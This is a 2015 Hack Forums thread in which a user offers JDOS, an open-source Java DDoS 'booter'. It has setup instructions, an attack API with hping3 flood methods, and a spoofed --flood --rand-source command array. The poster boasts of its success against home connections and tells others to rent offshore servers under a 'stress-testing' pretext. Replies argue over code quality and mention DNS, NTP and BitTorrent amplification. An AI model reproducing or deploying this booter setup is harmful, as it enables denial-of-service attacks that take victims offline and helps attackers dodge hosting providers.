+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Java] JDOS: An Open-Source Java Denial of Service System (Java Booter) (/showthread.php?tid=4877573)
JDOS: An Open-Source Java Denial of Service System (Java Booter) - nullifiedvoid - Jun 23, 2015
Hello Forum,
A while ago, I was given permission from DMoneigh to run my Home-Connection stresser "JStresser", on the JStresser Directory. The project has been stopped about three months before this current date and I have requested that the source be placed on Github.
There are two parts to this project:
JDOSMaster - A webserver written purely in Java that receives attack, stop, and check requests. It manages all JDOSServers.
JDOSServer - A Java Denial of Service Attack Server. From the JDOSMaster it receives attack and stop requests.
Setting up JDOSMaster:
- Obtain a ubuntu server and install Java 8
- Go into the JDOSMaster main class and select local port and append attack servers to the ATTACK_SERVERS list. As seen below
Code
/**
* The port that the JDOSMaster runs on.
*/
private static final int LOCAL_PORT = 4545;Code
/**
* An array of attack servers.
*/
public static final Server[] ATTACK_SERVERS = new Server[] {
new Server(1, "127.0.0.1", 4546), //id, ip, and port that JDOSServer is running on
new Server(2, "127.0.0.2", 4546) //id, ip, and port that JDOSServer is running on
};- Compile and run as root.
Setting up JDOSServer:
- Obtain a ubuntu server and install Java 8.
- Install hping3 from their website.
- Select the port that this attack server runs from.
Code
ServerSocket ss = new ServerSocket(4546);- Compile and run as root
JDOSMaster API:
Simply connect to the JDOSMaster server on its local port with PHP. (DO NOT ALLOW direct access to your JDOS Project by users)
Be sure to also sanitize any input before it reaches the JDOS Project.
127.0.0.1:4545/attack?id=1&ip=127.0.0.1&port=80&method=syn&time=60 - starts an attack on a server with user id 1
127.0.0.1:4545/stop?id=1 - stops the server that user id 1 started
127.0.0.1:4545/check - lists times of all servers
Note: Attack methods must be the command line names of hping3 attack methods. (i.e. udp, syn, rawip, icmp)
Best Regards,
NullifiedVoid
* - jarvur - Jun 23, 2015
Very nice. I've never looked into DDoS attacks via Java and honestly though it would be more complicated than this. I can't see it hitting anything but weak site's right?
Nice work none the wise.
* - nullifiedvoid - Jun 23, 2015
(Jun 23, 2015 11:06 AM)jarvur Wrote: Very nice. I've never looked into DDoS attacks via Java and honestly though it would be more complicated than this. I can't see it hitting anything but weak site's right?
Nice work none the wise.
When we used this for JStresser, it did REALLY well on Home-Connections. Especially, when using servers from Maxided. As long as you get unshared, unlimited bandwidth, offshore servers from them and let them know that you are "stress-testing" they will have zero problem providing you the servers. Never tried it on weak sites. Thank you for taking a look.
* - Jire - Jun 23, 2015
If the victim gets your server IP they can launch a DoS to your server and take it down in seconds from any connection.
* - nullifiedvoid - Jun 23, 2015
(Jun 23, 2015 08:09 PM)~!@# Wrote: If the victim gets your server IP they can launch a DoS to your server and take it down in seconds from any connection.
If you do not want them to get your server's ip address, simply buy a spoofed server from Maxided and append "--rand-source" as shown below...
Code
final String[] command = new String[] {
"hping3",
ip,
"-p",
"" + port,
"--" + method,
"-d",
"120",
"-w",
"64",
"--flood",
"--rand-source" // Add this....
};* - s0c1al - Jun 24, 2015
So, i took an look at the source, here are an few problems.
You don't have any authentication, whatsoever, so any nerd can just send the packet to your 'slaves'
You are just calling hping3, why not write an real attack tool, and send the data from java?
* - Jire - Jun 24, 2015
(Jun 23, 2015 10:43 PM)nullifiedvoid Wrote: If you do not want them to get your server's ip address, simply buy a spoofed server from Maxided and append "--rand-source" as shown below...The concern is not just for a victim. People are always port scanning the web, they can connect to your server without authentication. They can also crash your server, it is poorly designed and will be taken down by an abundance of connections. You should use non-blocking IO facilitated by Java's NIO.
Codefinal String[] command = new String[] {
"hping3",
ip,
"-p",
"" + port,
"--" + method,
"-d",
"120",
"-w",
"64",
"--flood",
"--rand-source" // Add this....
};
* - nullifiedvoid - Jun 24, 2015
(Jun 24, 2015 04:27 PM)~!@# Wrote: The concern is not just for a victim. People are always port scanning the web, they can connect to your server without authentication. They can also crash your server, it is poorly designed and will be taken down by an abundance of connections. You should use non-blocking IO facilitated by Java's NIO.The purpose of these projects is to show and explain to users on HOW to do something in Java. It is up to the user to enhance these projects to build what they are looking for.
Instead of all this authentication talk, why not configure your JDOSMaster host to only allow connections from your booter webserver? Then configure your JDOSServer hosts to only allow connections from your JDOSMaster host...
The above suggestion is assuming that you have the following:
Cloudflare -> Your Booter Website -> PHP -> JDOSMaster -> Send Requests -> JDOSServers
(Jun 24, 2015 12:17 PM)s0c1al Wrote: * You are just calling hping3, why not write an real attack tool, and send the data from java?
Why would DMoneigh re-invent the wheel? This is why most programs that are created today are terrible in terms of code. Everyone knows that hping3 sends packets faster/more efficiently than any Java "attack tool" ever would.
* - s0c1al - Jun 25, 2015
> Everyone knows that hping3 sends packets faster/more efficiently than any Java "attack tool" ever would.
hping is a command-line oriented TCP/IP packet assembler/analyzer, not an DDoS/DoS tool, yes it can be used to send malformed TCP/UDP packets to send an DDoS to an target, but why should you teach people to use an insecure way of setting things up, when you can easily build something that's more powerfull by using just one server, and a few amplification tricks (DNS, Bittorrent, NTP)
* - nullifiedvoid - Jun 25, 2015
(Jun 25, 2015 05:41 AM)s0c1al Wrote: > Everyone knows that hping3 sends packets faster/more efficiently than any Java "attack tool" ever would.
hping is a command-line oriented TCP/IP packet assembler/analyzer, not an DDoS/DoS tool, yes it can be used to send malformed TCP/UDP packets to send an DDoS to an target, but why should you teach people to use an insecure way of setting things up, when you can easily build something that's more powerfull by using just one server, and a few amplification tricks (DNS, Bittorrent, NTP)
Java is a programming language and computing platform (Yes Googled as you did), not a* DDoS/DoS tool, yes it can be used to send malformed TCP/UDP packets to send a DoS* to a* target. (Where is the logic in this argument?)
As I have said on my other posts, these projects are to show users HOW to do something. It is up to them to enhance, change (add security), and improve code (use something other than hping3....) to make it better.
Please present valid statements and arguments (with some logic next time) in your next post. If not you will receive no response.
* - Shellow5 - Jun 27, 2015
nullifiedvoid,
Above you stated the following: "I have said on my other posts, these projects are to show users HOW to do something. It is up to them to enhance, change (add security), and improve code (use something other than hping3....) to make it better."
I respect your attempts to accomplish that goal, but your code is insecure, inefficient, doesn't make good use of Object Orientated Programming Concepts, has too many dependencies, and in the end DOESN'T HELP TO SHOW USERS HOW TO DO ANYTHING.
Let me explain.
- Using hping3 is a good workaround instead of re-inventing the wheel as you say, but if your goal is to teach others, then you should start from "scratch". This would involve writing DoS attacks in pure Java. As you state it is a learning exercise, you would only need to actually implement one DoS attack in Java and leave it up to users to implement any else they want.
- If your goal is to allow users to expand upon your project, then you should use modularity and object orientation in all of your programs. For example your DoS Server contains only one method (main) and creates a anonymous inner class that contains your processing of a DoS request.
- Your code isn't secure at all and is a bad example of maintainable programming practices. For example you don't check the output of Runtime.getRuntime().exec() which could indicate that hping3 isn't installed or that an error occurred. You also don't handle an error if I don't send an integer here: "final int time = new Integer(din.readUTF()) * 1000;", these are just a few examples I picked up and I could most definitely find more. It is NECESSARY in creating maintainable programs to tell users WHERE THEY WENT WRONG, or when the program went wrong. You don't do this and it is a problem.
- And last but not least if you intentionally chose to put all these problems in for users to figure out, which I doubt you did, you should at least tell them they exist and where they need to rework the code to make it better. For example you stated that it is up to users to add security, so add ONE COMMENT stating that security needs to be added and where it needs to be added. One final example is that you stated it should be up to users to change hping3 as it isn't the best way of instantiating an attack, so just write that in the README file or in the code somewhere, so users understand what they need to change.
Again, I respect your efforts nullifiedvoid, Schmidt73
tldr; tell users what they have to fix and where or they won't learn anything. also keep consistency in your code, so it doesn't become a jumbled mess of object oriented shit.
* - nullifiedvoid - Jun 27, 2015
Schmidt73,
I have never in my life had anyone post to make me laugh as hard as you did. I am a mere web-security analyst. Have found 70+ vulnerabilities on Enjin and multiple on Minecraft.net. First off this code does not belong to me but DMoneigh. I believe part of the reason that he does not have a HackForums account is because of posts like these.
His code is far more efficient and well formatted compared to ANYTHING I have seen you write. Your Parabot Runebar Maker is poorly written and terribly formatted. If you knew how to correctly use APIs you would not sit here and do repetitive if-checks, as you have in your PlayerInventory class. I will not even to start and look at the structure of your code. Your getters are all out of place as they should be in regular OOP layouts. For the rest of the programmers who know how to properly program, this terribly written program can be found the link below.
https://github.com/schmidt73/Premium-PkHonor-Rune-Bar-Maker
The code written in the JDOS project shows users how they can easily setup a lightweight Java Denial of Service System. I will not argue against all of your "points" that you are trying to make. What I will say though is that this code does not have to have all of these "checks" that you are talking about. You simply secure your booter site, and sanitize all requests and you will not have to worry about the information that is passed to the JDOS project. (No users should be directly interacting with your JDOS project -_-)This is what is wrong with the HackForums community right now. Too many users are steadily copying and pasting and are angry when something does not piece together. And some of the UB3R users get "bigheaded" and think that their ranks show that they are "qualified/expert programmers." There should be no need to check if hping3 is installed for the simple fact that you should FOLLOW THE DIRECTIONS. Also there is no need to make the JDOSServer project OOP because it is only receiving and handling requests. Making it OOP will slow down the code tremendously. (Static programs are much faster than OOP programs) This proves that you know nothing about efficiency. The people who commented on your reputation wall would agree with me that you have NO IDEA about what you are talking about.
So I strongly recommend before you try and disrespect ones code, you need to check your own. Because from what I have seen you have no type of skill. And please do write something that is more efficient. (There is no need to write two layers of sanitation to a program...) I am waiting. I suggest writing two programs that have the same functionality, one static and one OOP. Compare times when finished. Hopefully you will learn something. Instead of adding a README to spoonfeed users, I should add a comment that says "ALERT common sense is needed." If you would like to know how to check the speed of a program an example could be found below.
Code
long startTime = System.currentTimeMillis();
// Code here
System.out.println((System.currentTimeMillis() - startTime) / 1000); // Print out the time in seconds how long it took to for the code to complete* - JavaProfit - Jun 27, 2015
(Jun 27, 2015 09:22 PM)nullifiedvoid Wrote: So I strongly recommend before you try and disrespect ones code, you need to check your own. Because from what I have seen you have no type of skill. And please do write something that is more efficient. (There is no need to write two layers of sanitation to a program...) I am waiting. I suggest writing two programs that have the same functionality, one static and one OOP. Compare times when finished. Hopefully you will learn something. Instead of adding a README to spoonfeed users, I should add a comment that says "ALERT common sense is needed." If you would like to know how to check the speed of a program an example could be found below.
Codelong startTime = System.currentTimeMillis();
// Code here
System.out.println((System.currentTimeMillis() - startTime) / 1000); // Print out the time in seconds how long it took to for the code to complete
I'm not schmidt but like I don't think he was meaning any disrespect.
* - Ownage - Jun 28, 2015
To sum this thread and your shitty source up:
Your code has an abundance of vulnerabilities, from DoS to RCE.
You seem to think that you're (or the person who wrote the code is) great at programming, but you are literally just passing some arguments to a program and claiming it's faster than what you could have done, even though with the JNI it's trivial to just write or, as would be more common with people like you, copy and paste a UDP flooder written in C or the likes to make for faster flooding.
Some of the finer (shittier) parts of the code:
Code
public class JDOSServer extends ObjectCode
while (true)Code
din.readInt();
din.close();Code
private static final int LOCAL_PORT = 4545; // If you are making an HTTP server I feel like you should be able to write some sort of configuration system that just loads things like the port from a json file.Code
public static final Server[] ATTACK_SERVERS = new Server[] {
new Server(1, "127.0.0.1", 4546), //id, ip, and port that JDOSServer is running on
new Server(2, "127.0.0.2", 4546) //id, ip, and port that JDOSServer is running on
}; // Literally the same thing as aboveI'm not even going to mention all the times where you are sending things to and from servers with no explanation as to what they do. If you were to not look at this code for a month and come back you'd probably resort to rewriting it than actually trying to understand it.
* - nullifiedvoid - Jun 28, 2015
(Jun 28, 2015 01:58 AM)Ownage Wrote: To sum this thread and your shitty source up:
Your code has an abundance of vulnerabilities, from DoS to RCE.
You seem to think that you're (or the person who wrote the code is) great at programming, but you are literally just passing some arguments to a program and claiming it's faster than what you could have done, even though with the JNI it's trivial to just write or, as would be more common with people like you, copy and paste a UDP flooder written in C or the likes to make for faster flooding.
As stated above, if security is implemented correctly on your booter/stresser's website these vulnerabilities become null and void. There is no point in having two of the same checks only to make the over-all project slower. Users should not allow outside interaction with the JDOS project. The only things that were not explained in this code were clearly packet headers. If you would pay attention at the data being sent instead of crying/complaining about not being able to understand it, you would see that no variables were being created.
Code
dout.writeInt(0);Code
dout.writeInt(1);I have not mentioned or inferred to DMoneigh as ever being great. It seems that a few egos are being hurt here by the tools that have been developed. If the JDOS project is as terrible as you claim, please proceed into exploit these vulnerabilities on the JStresser directory at http://jscanner.net/jstresser/index.php I will give you 0.375 BTC for every JDOS project vulnerability you exploit on that directory. (Yes that confident in the web security)